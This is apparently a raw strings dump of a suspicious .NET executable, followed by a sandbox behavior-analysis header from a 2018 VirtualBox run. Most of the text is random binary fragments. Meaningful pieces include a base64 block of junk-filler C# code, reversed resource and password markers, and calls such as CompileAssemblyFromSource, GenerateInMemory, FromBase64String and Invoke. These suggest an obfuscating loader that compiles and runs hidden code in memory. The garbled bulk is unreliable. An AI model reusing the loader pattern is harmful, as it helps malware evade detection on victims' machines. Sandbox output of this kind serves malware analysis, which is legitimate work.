lRvU3RyaW5nKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIHZxVHdvYnNrKCl7DQpsb25nIFhMSU11U2tYID0gNTA0OTU1MTU0Njg2ODM3MjE7IAp1aW50IE1neG1EeHFrID0gMjIwODMxMzY7IAp1bG9uZyBKb3JYT0t0aCA9IDM1ODI5OTE2ODA1NTMwNDcyOyAKaW50IGxFa0xSZEROID0gMzM4NzQxOyAKd2hpbGUobEVrTFJkRE4gPT0gMzM4NzQxKXsNCmxFa0xSZEROID0gMjUyOTIwOw0KfXVsb25nIHlsdGlBd2ZhID0gNDMwNTY0MjMxMzIzMzI0MDA7IAp1bG9uZyBjT1JqUVlWSyA9IDQwNDE2MTU2NDIyOTY3MDY4OyAKdXNob3J0IEJDcFZLa1hjID0gNjEzMzA7IApkb3VibGUgTFdFbUVWdlIgPSAtMS44MDA1MDJFLTE1OyAKaWYoTFdFbUVWdlIgPT0gOS45MzIxNDNFKzMwKXsNCmRvdWJsZSBub3VPWmFOYkZuQSA9IC0zLjk2Mjc0NUUtMjg7DQpMV0VtRVZ2UiA9IE1hdGguUm91bmQobm91T1phTmJGbkEgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KQ29uc29sZS5Xcml0ZUxpbmUoTFdFbUVWdlIuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgbGhRU1FMREsoKXsNCmZsb2F0IHhER29uelRpID0gLTEuMjcwNzM0RSsxNEY7IApzdHJpbmcgSmtkTG5qamEgPSAidU9mUU5YU2MiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEprZExuamphKTtzYnl0ZSB3VHZ5R2lUSyA9ICAxMzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBPU0dicFR6byA9IDIxNjExNTczMzM5MjQ1NDU2OyAKbG9uZyBXcVpQVlVVUiA9IDIxOTE2MDc1NTE3ODQ3OTIzOyAKc2hvcnQgQVBlZWd5ZWQgPSAyODc5MzsgCiBieXRlW10gQVBlZWd5ZWRBUGVlZ3llZCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiQVBlZWd5ZWQiKTtmbG9hdCBXSEljZmljayA9IDcuNTg5MjhFKzI4RjsgCnVsb25nIHZrTHFHV2VZID0gMjEzMzY0MzcyMzI4NjY3NDsgCg0KfXB1YmxpYyB2b2lkIGJjYW5sdlBXKCl7DQpmbG9hdCBGRFF3c3lXVyA9IDEuMDUwMjMyRS0yNEY7IAp1c2hvcnQgQWtpT3BrZlkgPSA1ODUwMTsgCmZsb2F0IHVFWHlwY1RlID0gLTAuMDAwMTU0NTkwMkY7IAp1aW50IFdwUmFKaVdFID0gMTIyNzY5NTM0OyAKbG9uZyBORnBwaFRqdCA9IDYwNTAwOTkzNjI0OTYzOyAKc3RyaW5nIFFVT3RkVnJJID0gIlJiZkZsSVhIIjsgCiBDb25zb2xlLldyaXRlTGluZShRVU90ZFZySSk7dXNob3J0IHB3amV6U1lQID0gNzE2MjsgCmZsb2F0IGxubU50a2hmID0gLTEuMjE1NTdFLTI4RjsgCg0KfQp9IA0KfQ==
lld.eroC.metsyS
0.0.0.0
OriginalFilename
exeniw:tegrat/ +gubed/ 68X:mroftalp/ +ezimitpo/
LegalCopyright
eef2f
#ssap#
lld.tnemeganaM.metsyS
#emanser#
u2~n
:G(pT(
}a{P:
CHh
=l@5Fk
F3;kB
{?z'D
%|'D
PNG
E+oo
O\I
G<MA
s 2d
Sb{V
k(7
@\ec
|h=G
}r^t
.Y9Sp
\[[6
y& ~v
p;v.
0w32
O)s(
\"*
6! |
C!|`9
@}TT
9RFV
I=qL
2K+4F
i->7
Y7yLL
Z?Ft.J0
q$RP'9U'0*
UyKb
nzyQk
A U4
wMi%
8wlD
\YI[
H-=u
mlsL
'Q}(
%Oh@Ec)
yEzog+
f@..T0
y[cMgp
-#ZN
zA BZ;
SqlCommandSet
LqnD
BRp\
@?ER
(;Ng
tKU9
SnM,0L
amGQ
TM[Eu$R~ +w
CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE
t G:
&M :
yk7U
kqf
d%FRv
Ce8r
qQ?Rn
NOLk
{XC+
K4!D,1)
>Ek
ivlj
EZB%
.D !:j
FIHT
Ym\
%N|?
rYr1
(j Y
*T35
q3 M
Y*yqK
Rbn73
/I,3
*Xv0
_%rK<q7_
WebBrowserEvent
" t6
{P33
xUPbEI
E'HD
% X>WP6
U'j;
E*/Y
D!j-Yl
yMqa7w*
e~Gd
KgEh
'5M\S
$4Cv.
q_2r
&*N(
05!n2
Mt]W
< np
,YiS
?^5@
KT]P
k9wJ
a9+?
#E.eK
?m8
Format
~z]z
>}Q/F
#%x&
D3d
uR5
8)Wy
iD,
WoHk
_*V8h
M0W=
5bT}
mS|V
hn8r
l&g#
?oyr
#lZH}Pu
*Z1ia
?0&&
0_0w
/"G2
>bv?c
CPdJ
jHh-f
xNh5g
sTGTo)
?nIn
B&^
HP;
#:83bU
CikkP+
2vR{
?Xun.'
S_}<,CP
^ <W#
FromBase64String
OrV}
C+c#a
?XrO
cjcs}
!U.O
:7)Wm
0<.x/
+ 38
;"PA
_U0=
B628T
Z;`,r
#MvM
jH M
U
un[CsGnBtpe
G)nE
i55)
"wY/
GZ>%
BkDm
<Xd^
#Blob
d+?X
!_9+D
O6v7
P}FM
4"E>4
Z[]X
{hu=
XPx#
&2bk
iF'z
KWk%59
.R<$x5
q#&~
B`3Ew
T! b
resmWJ
J_$W
E* N
A&g
W3Tn
\A=;
GUr)
| +
) kj
&Dl'
;ZZ[
YUaZ<
ies[E
eUAm
Lu.nu4
yb< \
>V|L]
s 4dWH
|gmC
g 33
:$%gG
T"GZ
}WD!h
&FZX
k@~!
5~Nx,
~vlI
)9<4P
_,\5
jX.N
Z<ZD
UY?H
HIM~z
Ki?D
{n34C
r=lB
FCvefVVmsw
LD42
4"j(B
<O?~
NO2G
~Rqj
Pw']
(\q[<
h(:s\
1 R<
owB
q/ h
aHE{7^
D%5
G;Q<
[p{f
3Kb%K
I0 (k
(Xg<
zQpt
O\9:)
5d;/
.text
GetString
UP -
ccq#
Duqg
wI\x^
' ~ :
*$3E
<&QF
'fbo
8gyE
RM
Lhm_
#,G^
o%9O
)_k]
{Vn>q \y
` G
:u *Dn
lHkhZPT
Gb[!
o0 ^
V>gU
Jf?l
A--A
.er[E
=e{U
#p;
M1UR:
D*!@+9
7!nu{
6 r
xD[U
gRS
% Ky
RUYD
!W"_;
pa1!
FqR!
TAH
H<JJu
\ks4
>qSv
kx^d'w
0Fnx
bBV(
FV,#
~/aT
@.Gt=LQ
onBep
&0 9
wYQH
`.rsrc
-;s T5
>W*7
rg7^
LPRUCA
{:}/
"72,
$~c>
Hx=Z
YE}z0-
<&57ue
Q2_A
m<_]S
E[YFj
9bbbH
]+d,
3&U'
%Qf Q
rCJ+
I FF
*pfJLd
8X\1=
;>>R
`7F?
b$$U
n-WFY
!0e1,
4L<)
D ^O4
TgZTI
T`]
KAFW
d@Fj
{@e
\\95
%u"Zm
O0!U
F!Zy
&>Z
he5Fma-
67;k
V;6V
/f/H
]J={
7}2g
)%8-
v/^?
!hX>
fCJ]
pP p
jgQ}J
v MP"
6V`oxGl
StringCollection
gD\I
fR`T'5
<+mYZyVUV
]||_
v>uN.O
^H>s
k&M~v
(0+l-
{(^{
keF{
Qm:&
8IN
%\ 0
5$
a26F
*er
.ZiZ
BnA+s=
<\p4
I"D#
QYo[
P:Gde
q5sR
ReadAllBytes
\_q}?}
P?ZU
J@Y8
XRto0
1P8(
:ta
"'bc
N.Qq2
Q|T-
2[cA
y^YhPx
-t'q
l'du
2#/C
7C@WB
Z;<N
!p$U{b
I9(R7
*1A4#Z
uK:w
_cz
Y5y~
2v+C
x%>'
nikn
fKKwm
8x4r
hvlX|
{"77+;k
@nX4
& o
{Q_p
J2?x
9U14
<z}R
& r
xO]s
:YV;>
ktfq
kozp
ZW?0
Z_vb
System.IO
WrapNonExceptionThrows
!rCA<D
FOBG
@ 1
~EmkW
Console
2Zkg
:b72
y[eV
!*1Rn
DpH*
k]Q:
*r"J
Opxd
I fO
s?jIv
%mKR
s9y=
S!Mp
4v \
wuKJK
YFZ2
+ieP
:NaC
7l&u
*]&.
m(,ty?
IHDR
8c-r
GNvX
+h s
!V"Pj
i ~
NBJr
f,^]bkj
SB4,
o7(DR
.u {J|?
hUG m
D.R.
iH J
~c|]
)+<I3v=
8Rl@\
-5'2+
S!PT
2qp_
PJ#v
Microsoft.CSharp
duw(
fSD(
G*.!W
e@lZ2
WA}5
?M\G
8Rono
1`JS
w7 gs
^ ? c|'N
{Ik t
3:CV5
i^Rx
a|s
5sG#)
M=]+
h{@s@9
MethodBase
#Strings
[[m|
sAgvV
1-4m|Z[V[
XY9v
4PvA
^i#_
y6;c
f]cM
\EVo
1vd.
lUvE
u`\h
Environment
pka M6
Hj.:9u
E#!~
mX2g|c
S%p@
m\w\
&,!Y
Soj
<Roa
+iQ}RGcY
RH>=
L#iF
get_EntryPoint
!n'}ylP
f[1;
XaswB
System
|@r|u
d ( U
w*4p!
zZ1Ix
.i~S_
1\xSX
qFW0G
``B`
MW|c
mqn Z
B[ab
System.Diagnostics
uGS}q+r
9[ e
[]s
s7w"wq
QgVR}
n6rWw
Da@Q
NS#,
%fMm
6p!\Nd`|0y6
bAkW
\RU\
D" 2Rx,
Az%<
j^gos
o ;l
]bM)
Q@.~
3)Y~
U LR
HY }
hHNG:r
7Nnq.jf
B~nk
GX:^^
.T{#
F] n
Double
qj3n
='?3
CompilerResults
=7h
IzFt
&+ '9x
M-]m
5Scy
N 7\
5_`:%
b/psa
d} X
>t4C6
m "m
ODk`
ND;
jDch
uM M|
\V1 F
HT'Y&3^?
L}}xKX
get_UTF8
56~X
Op
5Y3T6
.YD7
>67M
o7)
8+X[
.{ r
o.Gs
X5Q.
K0r
w&wy
RF/se
CancelEventHandler
"G*
@.reloc
_bO
LP*q
sf#K*
J+bU
))OG
m~.~;
IX'v
FfzJ
u =7
=)bn
a4BR
+Dkm
"+Ny
;i-l
uC)x
IqNOZ:Z
IsolatedStorageFileEnumerator
;V/ [
#)'+
(ecD
} tKE
h|^0
s]+q$
!5Y:
[P]o
}X'z@
u@Ew
g8A
o e
YE D
vA!^
x W:
1gUF
ztg]
;0Z
W'6]
^:Il-
P Y!
~<x>4
`]Z+s
t] \
U4Qb
Z;=Z
`NR^LU
qhY<
BNNP
8Ri6k
(@/Y
)Dt:l"
tCWW
IServerResponseChannelSinkStack
livD
1GW+
J U&
"4S}i
,(_hr
` w0g
/u$}n
Yc*hz
zQ+(
477T
Fer4
xmtB
A4jQ
;c_F
cYUT
aL<(
3'd
OnYoZ
-x^n
3V;:j
Q%<
\Y\I&
Z'C8
G-OXL
&`^j
#hrO
juwGDz
> SF
@+TtG
4is,
gB~x
u;^WJm
5sqj
+QVC
zue}mE0
V7H>
O&W%
hC~v
>E+O
M~JL
u"1X
pGEV
csYKz
jP #
xO 6
h.X6nno
63A1y.y
CompileAssemblyFromSource
9j5y7
/,#;CW
System.CodeDom.Compiler
bUZ-u"
7C;mR
Z<}?
Z6R
ToLower
5lsL
0zq|
Dp[5{
*Zjhesk
uONog
: o
Dr|2
4it_r
fr=C
gaVJq
bBD%L"
T&Zi
nqOu]Vv]
Z.R[]
30j
W<`$
CUfufP^J^
&[ue
vt~N(X
0VL}?
_}5*
eh%G
) /l[
NM98
Q+-+T
*!H[
UKq`
eJ!<&
X+4p
2e\!
8~nr
Z9.R/
E `v
#niF
yhA
2X*w
]oS
8#i_
~6C{
u>KZm
ToString
|uAsO
Z}'4Bi
)q")
n$QO
;'r[
'y3 G
$ywr
_6eG
j~n}
NKL7
TzNy
P|=w
&N6`
N3,t
u0)xq
@Z;D
C~k4CV
-Q~R+
bx 40
R`u@
T}cZ
ZX(_
# &q
bbd;"
G1Gpf
Sz z
,T 6c
m d|
C<Ij
w8l,W
vp v
args
%WS
53O1
%Q9(
cveqm
&b3d%
mp?#
xMXM
H_'<
3Efc
mBT'
a@!f
\_K0w,
<?oP
_vYO
FQC$
@Czqw
W%]d
<N{i
# f_/yg
gz,
[ E8
Fj^V
Ka D6,
b[!74
OSQM
Oo["h
v,l%
p)Ehx
ax<gc 1
OYr}@,
W6q7{
JATQ
vW8]?D
Rd-W*'p
/Se
<O/e
%T-5
6nAM
$sZZA
pHYs
.ctor
ReflectionExtensions
wz5L
'u6Ro
S:o
Ib0k
!P 6
pzn"
q^ D
-Y~b
4c4H
w>%C50
kwg-,
JV {
iRgr"
B{b
*k'8:c
1A#Z
Invoke
O3I>a
G:-p$
_wACf$
:t%r
)===m
u~
'wxo{
v4.0.30319
N%UZ
2BGDIpY
o2d"w
U #S~
makOsw
-c <
sI{7
sf,]@>vfhe
^9qZ
Dm!Z
IHasConstant
+ ^w
,^^S
"i$y6
l J -x
xM'L{
F` F*
G:r|
!+-un\E
|$rcd
>uNn
S;'
v{Ym
A8or]
K(+u
HTMLElementEvents2
xuL)
&2gQ
il/S
u;+J6+
|I3e
QNGe
yZ_R
AnEu
+ sJ
r+&5
MZ0>g*D
>Jx9
6~LK
#-K[
P_K@
[be,@zv
"Gq~qmOug
B}d&
L =>t
;TW
* '<B
4/M\[bY
B8h_
i\z\
w#;%&
;:VZ
fQ%(gO
g\'Y
'=+P
z[bc
/me\
J~Ys
tLpZ
n8T"
{I H
#J=\
-a]
a*Fe
#==eh
x^ow&q
1` (:
o u=
!Pe
5nM
r!0$
#-St'4@
l4U
+iX
uC@
?<VBJB
d|u>
5pTx
get_CompiledAssembly
9Rj:
?;Ik
!T]l
6r 1
%yl2i
hvl"[&
kdyO
m2 t
RuntimeCompatibilityAttribute
Bt(,
ValidationState
4}Zy
ba>R
sP|i
Qo@c
pqcX
_9 k
<[|'
0(}+=a
:XOj
aP,4
2=o>
8*4%
GbQa
nY!9
,x5P}
:s>E}
H3(z
*Mw=Lu
WqE?w
]~Dw
e|l4
7VJnQ
E)mK
u,u%r
_,:j
y(|
{@R[
Y /3
'UY
G n
h JkW
TiOd
set_GenerateExecutable
bgH_
U94!G
H3(A
~2!GB
d :l
R #,a3
f{0M
7{ g
dSHU}|nOs
4##wR6
{ Qf
9kWS
^v ~/
roMa
[]/ X
myZHb
*;"Sgt
4OZD
ByteArrayEqualityComparer
IR E
G= $
Dh_k
hpS<"
}w-GZ
\?q)
h;mcWDL
<|ZD
1bo$cv
rX!(
5K5&`
)/wv
l@k$
sK_VZ
rc4oQs
zDoVC
v]KL
^D[7r
8R9,
0CvY
j3xm
"}Xj
Inh~-
N) x
dK)n
HkW.\
NR;}
v+=q
DuPx
M0(L
ZHUG
oxBJ
,>D%
LmY
B^c @
-/5D
w M,
gF)e
+W49g
\=F
yQx|
ijY%
k+Dk
Jrnx
cT3\A5~o
zVSp
Wv]N
S."=
x(0'ns
get_ReferencedAssemblies
k0?
G98U
aWxH
3 g
:3e5
PIUV
YSW
5L`~
aS a
[?2R
h>Q q
D+aF
' \I
+#MOOK?5m
o"GZ
mK^#
M` -
cPKj
nEnX
{d K
1RJnB
~Oczd4C
Reverse
Qk \
"8!>
C"%Z
oX4ZA9
? f"
@ghf
Y("
<&LT
&A}W
z\?z>\
,K".
CodeDomProvider
*}W
BUn,w4
X#x6
d)r)
oENL3k
r q O8
ysKu
I7 = \X
}6EP=
~&+~K
c;j@
L91eC
Aj+c
={%]
W0"m
\9~O
#8g
?ZG^?
BKkaeia
qs1q$D
&?`4
r.BM<O
v}8
"Hi~(
0&Lb
KC0t
X-[l:
aC4{Y
BJdqb
j0{
Qv\v
(^:%"fG
n[(
V1yi
L~FM
QXLQ|R
on$u
Ml0.
d:HG
D%/
Lr5G
G+RT
nC'+d
Ru` x
;4a8
?IN
+&m8*
ndfA
y+g;l
Ti\$
5Z!D
}GNQ
s(bG
Pr%n
3ee
} -O
uJ/]'
(r!^
ruGKwoGL@`hn
g{[Hy
I\OU_
>Czv1
fUd=
N=*K
q']I
+a1Lh
SW#*
3}9m
onR]dDPRC E
wmVw
cLsJ
"7SD
IAssemblyRefFinder
*a"$(
abXbl
[#hM
gAMA
qlPy
@)r$
<=S`
4%$V
q&F- x
HttpListenerException
1cmUa=
>M9=q
zq=C"v
v u=
o4U+
4o~f
* PC
YSl[
kyM
[K<E,Mp
w/{H
Ip4Nm);am
*{ '
IeQu
mscorlib
)>G.
EN+T;
.1BB/
B-S
Zf+@
P!EY
<^>E
n&uLQ
M}pp 7
H%C
set_IncludeDebugInformation
mA.h
&_(k
(*<<
<"tA
S{{-a
G/q$B
Ku~o
sNQV
#Y%i
#jiW
XRXO\B
0!`HL<y
nBgG+(W.
]y.R7
~?M R
B Zq
oOSu
J>Y
J%+Y
0zu\Ih
Ye9G
%m556
cn%u
System.Reflection
cZ`E dIZ
=f;r
Z Jx
\ .{([
CTQ,
4u6d
D#*y
3?u]
];s3
k:EL&
vwatW1{
l[CF
GY Z O
$97f
39~z^
I+uSU
p<q>
<>c__DisplayClass168_0
.p$3
k:Li_h_
7(3'e
*|\y
a^eD
V8HU ^kd
V}>_?
,_b\
9* /
z$=g
Ndfm
2=:;);
y@Sg
YB
p)Hu
Jt H
S9'*
z"9M
[Tkw
{E*V
6 ^Bf
l]_S
]-(y
]92^
KKT
string_0
more
sg9m
pkJ7
KC#KVC
/m}=r
nuQW
w]ANB^
HTO 8
z>!V
$g7<X
2N>O
YH n" :
{r{QoC
UOp1,
Dc?=6
B8|j
@lCL*b
9lc.
Ikg[5
ao-[
p)~4
4Yk:
]Qk'O
`6@M@s
ReadLine
@@pH
H8 +[
RWE+?B=
QSx*
fQ}cp
#%x$
eKBu
%\;Hu$
-Ak7)w
dB9U
#a`x9
\iDQ
:D_5
1? ~
I"/mv
n-Kq1T
EBKH=XX
+#n4
#6V
mscoree.dll
!This program cannot be run in DOS mode. $
b6_g
"^*s
File
<k]Vp
i~0A
etzN!#-
RQnO^
zoDR
S!z)q
MovL]
!#$?
-}M{<
lk1|
~/e%P
M><A
J, -
^J}I
BDl #
R> L4y
'b"W>:
!i(Sc
9tL
VwUf
set_GenerateInMemory
pAIh
$QF
t5q,
tBCkl
"}Zn
{|vzZnZo
3l$i^
6B(H
vZFw
(/SNy
". )
q.3-
6#)#wf=
;9 1n
x^ )
uA7,
H Fd
9[<q
`4 T
\ @h
G G5
mme
P[9d
vQr#<A
vKAg
L-/5/
PinnedMetaData
"ZBs
\O!jm
Ls@3C
;G2rw
<G"M
NjLZ
o .r
zTG:
P7Svbk
3eE]
09eJ
b${d
?E'1
q`o?
a*g/
AqBKd
bfn[xF
jK* @.E
B{U`}
B,ytt&+Zs
)HRV
w/_7o
R`RL
#hZ2
y)M!"chB
:>O9
*AkG
6WE5v
9TG j
System.Collections.Specialized
4y#k
~d:)
pzzvz6
HA(0
}KP5P
lB+O
'T \%n
g7qG
:Osu"
YC-r
U"R;
rX:.r.7
-^=;1
hu@
SR@tc
'>p3
ryuj
"=1c
{?Jl
9P}n
iY#Y
d._e(3
Rw,EA=~
XrhH
5z=
+wG{
T?R
F`,cD
^`JT
l?]w3
j J
Ft ^
Q<@*t
tgfv
kJyt
=:|1'
M|o
fy~9,
E B%
m%EC
#5 O
&_;D
lt<D
zx |
-|/?
e1Y.
m)E
r|qL
>{ _K
fh/*o
.X2{
%+=b
CtQ!K
m~Pt
eegm
o8~c
7WA}g
@`-TP
H[d
6 4]
3[2g
/=K~Y
`P,
`&:$
1h$N ?
`\:#>L
>b$f
AH?5
LZ;5
*n+L!
{ZDu
Z!m0t
!jV
691b
{Q{_
Y!k5
W\!u
+l03
MethodInfo
( "w
bo&)
n(F;D'
46<uLf
LGmh
gzD~E^$
9RVV
j D<
CompilationRelaxationsAttribute
#by9
UT[2
{,:Yc
uYWv
HOgl
##9i^
2& D
y;D
?c7,2Bn-
S0=
??7IX[,
&-yS '5
!7$/
89 9R"
GkmFk
.j]=s
!*X G\
|Z~#
R3 M
,3@~nnn
;G20
Mlh
0/(/1M
CSnf
"?:;
ez?y~
M+u&
m$E()$<
!t"?
roB)
w0]G+7R
Qo/l
H[/+
DZIA
please
Uy|?
],2C
T+?\
x^<i
IEND
>^mmp
6H S
_^sa
cj],q
rO$G]
RihR
iv,y?
wB@
E>\\
#UC?
g@h,A
-s W
egMR
Q/xfsa$r;
Z_[S
."3+A*
hyT3
`@9|
6v6.
KV@k
x?6j
,DFj
B}I>
)7n[
%# y
/kt#Z
DhT ]<*
{>oaFQ
MDFZ
#wu%i
9_OUEQ d
$p#7
Ir[=
xj3/L
CLc\
dT B
>QU//_:
l ,S
~n6F>
\S3@
umK-
u&<~
A,'UE
+3+WUZ
6 (7
1Vk#
(66(
tP3S
.,+,
26b5d$
-?S
*IJjT
7[ NYS
U59
9Rx#
`)W2
h&- ~
*<L3dSv?(
hg _
}MC5
o l5,_
H>F<Z
0<LT
jo%{c
mcJ&
yL]n
1R \
d ~#
Ue7z
2>P
JXVi0
cIkG
,;'^Q
o+i%0
@&4;
o)l+
qf9&
%h-k9
z>s@i
uzD\/
dZB!8
#5t[
Y4o,@
N^gNE*
System.Text
4H3di
H%p}Cz
oMK/
B6)@X
9&q[
HW2>
N2o(&F
d&ST
#Ca#
'rU9
H9B%
@P+RI
#OY
+>uV
"5;PNjz
;gE+j={(r
';FP
2u]
W(a"
R46B
,FWpm
s!%8
>:
>LNA'
x9 V
1TW2
#-n*
yK+gW;
x3BK
l`>E
r0o /#M
*= UhK
O-\P
';=E
A(v]h
UWMm^
J+x6
A82R}N
Yf|8S
ieN5
27Mj7
:a*?cYx
s Qm$(v
gOs
I$YuR
!Jz
\9|"W
Y3LU
dbk6
>z Q
VQ1`
%*J6
PWzd`
10
<sn#r
>B3W{
Convert
; Z
m/jJi
JeT7
I3[2
vM5O
r{@w
Pt{U}
_CorExeMain
v4/o
NF\
9RSSAu`
00xz
Rwz[a
b'R5
2;s$i
*iTbp
Z>2*
EJ D
L )!
k 2Q
DebuggingModes
#K A
)>VW
9(x.(
YpH
[dmp
Mz3u)
'b3rE
byE[
[0`?
:B.{~
,X&j
>:$teB
sZtL
PZr%
EDMI
+vGp
2/MX
Z|ia
)N&r
;lK1
S5MZ
IR"E0Nl ~?#
CompilerParameters
StringXmlCharType
8O`B
S}Z{
?C F
BB"Fj
k.p?
|6"x
W(;a
u<F]
)Zg_
KJLL\
? Xn
sdIkde
IKpc
'wI
Jv:,
'>Jesj
da[ nD
r 4"W
` %n4
}>/
hBNA]
;4k
a/4!#
: Wgt
Yt]f
ZXJJ
nm 2
4x~Vh
ToCharArray
xD+S
*}k~
GUQi
$U~DW
a>_hp
~Chj
rj'T
DebuggableAttribute
>A+y
("_
H!^%
VxLY9
j*i~
A,\8
\W_TW
BW0^
G8ghCt_:
kYn_g
WSNO
,U ~
!*Yl
q~ A
{5 gJ\
WmC G
$B~
{`bM
&\ S4
x]nZ
G554
i}TG
&]O<9
kC >
FQWB
\vTs
<>c__DisplayClass0_0`2
.0`j&
Object
;3+3
];Zk
>yjHesem
MKI1ijQYoHseMd3R.Program
NJr+)
27y<Q
}g]
H6&
M'ZF
CmeO
IxOf
G/ ~
$U1S
/NH"=
c3N&
xlA.8
eqi*u
4x&p
O_Px
(f0K
&@Qc
z6 9
9P$x-X
Q;Nq
SA'(
IB4{[
7W\
R^8T
;g+g
#ef[@
h i
z\OZ
XYe)Y
@q`]
!(F.
Kv\Pu
n4!jV
79FT
k<UN
ts9"R
1\IG
u8:Z
.sn[+y
O |7\5_T|
^ Qb]
O0Zg
S}25y
/bb]a
Ovb[dv
HG#i
-WG[
U3iB
sJy&
qA`%
bw<GlD5
!*".,
G2]I{
hB6}
sRGB
Uaol
Fks5
oq9\
TA B4C
!-LF
Exit
Bo0wP%
%x7
?z1j Z
K=e
9R5-@
qK(I
=$OH
cr?=
ONB4"
1(&<
D4*I
!k0F;
kUX
Vg<w
DX![/
*;av
d{P=rH
v=ce
hbFX8
0;3=s
_i4:iJ
u,jn*)
kFrw
0c"r
Party
sm|Ae|3y
?o~ck
KYZ
75#9#
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>
MS=R
CQ
d^Df {Y
}>t_v
*BSJB
yp)#
+VO
'{7S_
4,-OYM
F7M8
O$n;
"?<B
".aI
.};8
k~ 0R
t?/>(
E@?B)
)@+>
W~IZ
F-].
BaPn
;L(yAF
C?>Y
/yRd
` Lh
,!!SEc&%#Z
<3N"G
90C.
r$)$
d|:gM
/)Z@
4'i L?
4lQq'e
$<O.4
pvQyG
\aI5
~$qBwJ
(a>R
D2a-
s &"
z%[0\
rYRzWa
HWam
v/Ad
|5t4"
H4=O|
,++k
<u`3
Z"lc
"_U!t
lB5iNl
*(mn
Rc>n
ovTkCG
q|Ud
0@y-
+#5"#
dq4R
^4 Nj
/BTH(
s]"D
y9*^
jpBo
J+vf
5&w
PU^
gL.^_\
hUK3f3L/
(x:m/
p|7{
)=*'e4
QA;(
r0rk
lOs5~
[N(tw
Sf^anq
L%YYz
; :;
4Ygz
V"#
'Tr=
7NoE
qwA#'
1- PN
. X1
~Fd#
79u>
+\dwAn
fC+r
@ ha /
<nQ>
UyT
Dwa^
+.R>$R
d 9
nGgQku
/^o;
.@Td
lzM!
LEKa&?)
|{Tg
U1ZFP=
rv& Gz
KN\&
#ji%\
NGYI
wg<r
dZWB
=Ijq
| 9 MF
ra%~
S[c
J;XE8M
RT_go
G+kf
7.Y4
0m q
I`?s
=1i*
"(.(
!:vR
n(`
Qhb:
@3d[
U$hB
8R3<
uNk|
IDATx^T
uA+%
LJ>k
CDTi
3@Tp;
Kv_6
ADALNativeWrapper
s$h +M^
TernaryTreeReadOnly
|;0&[
qJI
=>_P
(ow@
XSP"p
.mK'
YJsjr
>kjrq
-Yqe
<H)r
w7rk
TKlv
Kn79
I!q0Iq
MY1%$iE
M(~E
d23C
5?]p
2gr
*_ BU(
" i
~wq
w Ym
#i OY-
m'NMD
~|D Ib
'T;R
ss}R
'Ys
x=T?GZ
Prn
c^3r
j!<}A
jdi
7NEt
rS
IDAT
k>~~k
}~<?
$O
H T:V
Math
?MQ^M
UT?:
<dk?
E+:(
ZBVA
KM-E
D~vCf
'!*y
[&2::
G"E
tL0L
(GjJ
System.Runtime.CompilerServices
u## !#
2<T/
77y>
LBM
w(Nd
6)9&yr@S'
\=)V
*L <)
sfE+|
dJqe
&H&%gD
wH,fJH
G6 Z
B2|pM
t_'4
QQqA
DPs3
set_CompilerOptions
3.E,
|D;I
,E<o
j{uyuk/2
uZKn
q{n W
Hf=\ .
;:tH
zGM\
K~ZFA
~ /m
j4p
0~Q _8
re.u
[PcTL
#+mn35eAtus[
o* c4^
hX]V
AJX80
qT'$t
H '^
g(K`s
*}_3
/n8
?}Xq
P.|c
2L!4.
l "+F
x^
!fX@
on,+
du q
u&IJ
(#<*
ByF_
~KRk
Ab04O
gJ[x5
j+sz?q-
@t\xpLt(;
i`A@
kNCG
<Module>
MEASUREITEMSTRUCT
F{/W2
nymVe
?8R%t'7E;61z
i(k3
/ZuG$g
6%bj
h=t0
hSO$
@BzH
D*Fjt
wN+,
2u@g
E#r(GFz
& ;o
=61~c
c" 2Vl
: !To
Uci]
QnkD
vhBj
9~'p
QIp_
^gh[
|
!&bb
7s|Zh|
.L ;
C0<
EJBT%
Cf`lMci
#GUID
|$Rn#ND\
5M`
xR.D
jCUa
qd?
SF i
drink
IK3bI
)H,h3
JM\H'
)o\<
QjDP)
H /
AHz1
W=bf
G: M
( ? V
P>~D
c.t'I
H2fE/
M85(e
f}<g(
;$Z|n
MKI1ijQYoHseMd3R.Program.exe
)3y8dL
{!C%h
xU]b
hpV5
F'3(
JZ uZ
nUh(
JQ@t
(9Bq5W
~D)D
y\vy{
~Y[m
1lOW
Y]1[
-R?| 2
?7$!
YCnQza
z7-g
(7m`
)=b Z
Iu%^
-H&|
l S"
s@<$r
x&pzF
mF=3:
t#7;O
Encoding
_W ]
n<?@
1>Dx
g&p}.%
'Pzy
{w4Dc
</8)
*Fr
Taq>
R[]]
7YR#bHz
F<j9t9
j&v,
/^>q:
k>o!~~?
VD9uN
sFpY
"r#;
Jd\u
6!#%##
Acm1,t,_4
Q(?"
6'(G
dron
IdentitySection
Uh}o
v(@4c]sO
DK!}o
ZJf4
zBGW
CodeThrowExceptionStatement
b7r$
>hok
}?=M
>c>|
Replace
/U{,
s],: {
_]<_w
{fql
/ ;)j$
[H@3D
N "O
sw"e/l
,n_c
.3Z_
"g[^GVO
K nD5
,V}
ot5M
&TBfq
+gkV
HV^A
slQN
}2x<o
%0
NS4~
z q$
<=-:4
`HQD
th-k
G" |
WF*)
*rIJ
%Ef8(L
FBk[
3n1
H!e6
V:C\
HjoH
9D'mP
O^ V
Upo3
s$irn
\ 7M
R[m j
%[f]
CSharpCodeProvider
wki1
a4#6
.gHi
]/^/
V_x rm
IkEu
:}RUv
SQm
WriteLine
WE,p
b`UK}
:h /*,v
x%!\_
InflateEndDelegate
I6aB
^2(p6
G-[&
v%=7
8gz`
r'97V
\'m!3E
M K
WU e
2S2$
`]H`
!GzZ
cVveT
t=O G
rO`JF
EwJ!
tq8]
bQY2q
!Ua<w
lBeR
m%Tg
*C-r
TGji
='a
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03b_64 Seven03b_64 VirtualBox 2018-04-25 17:36:14 2018-04-25 17:39:05 171

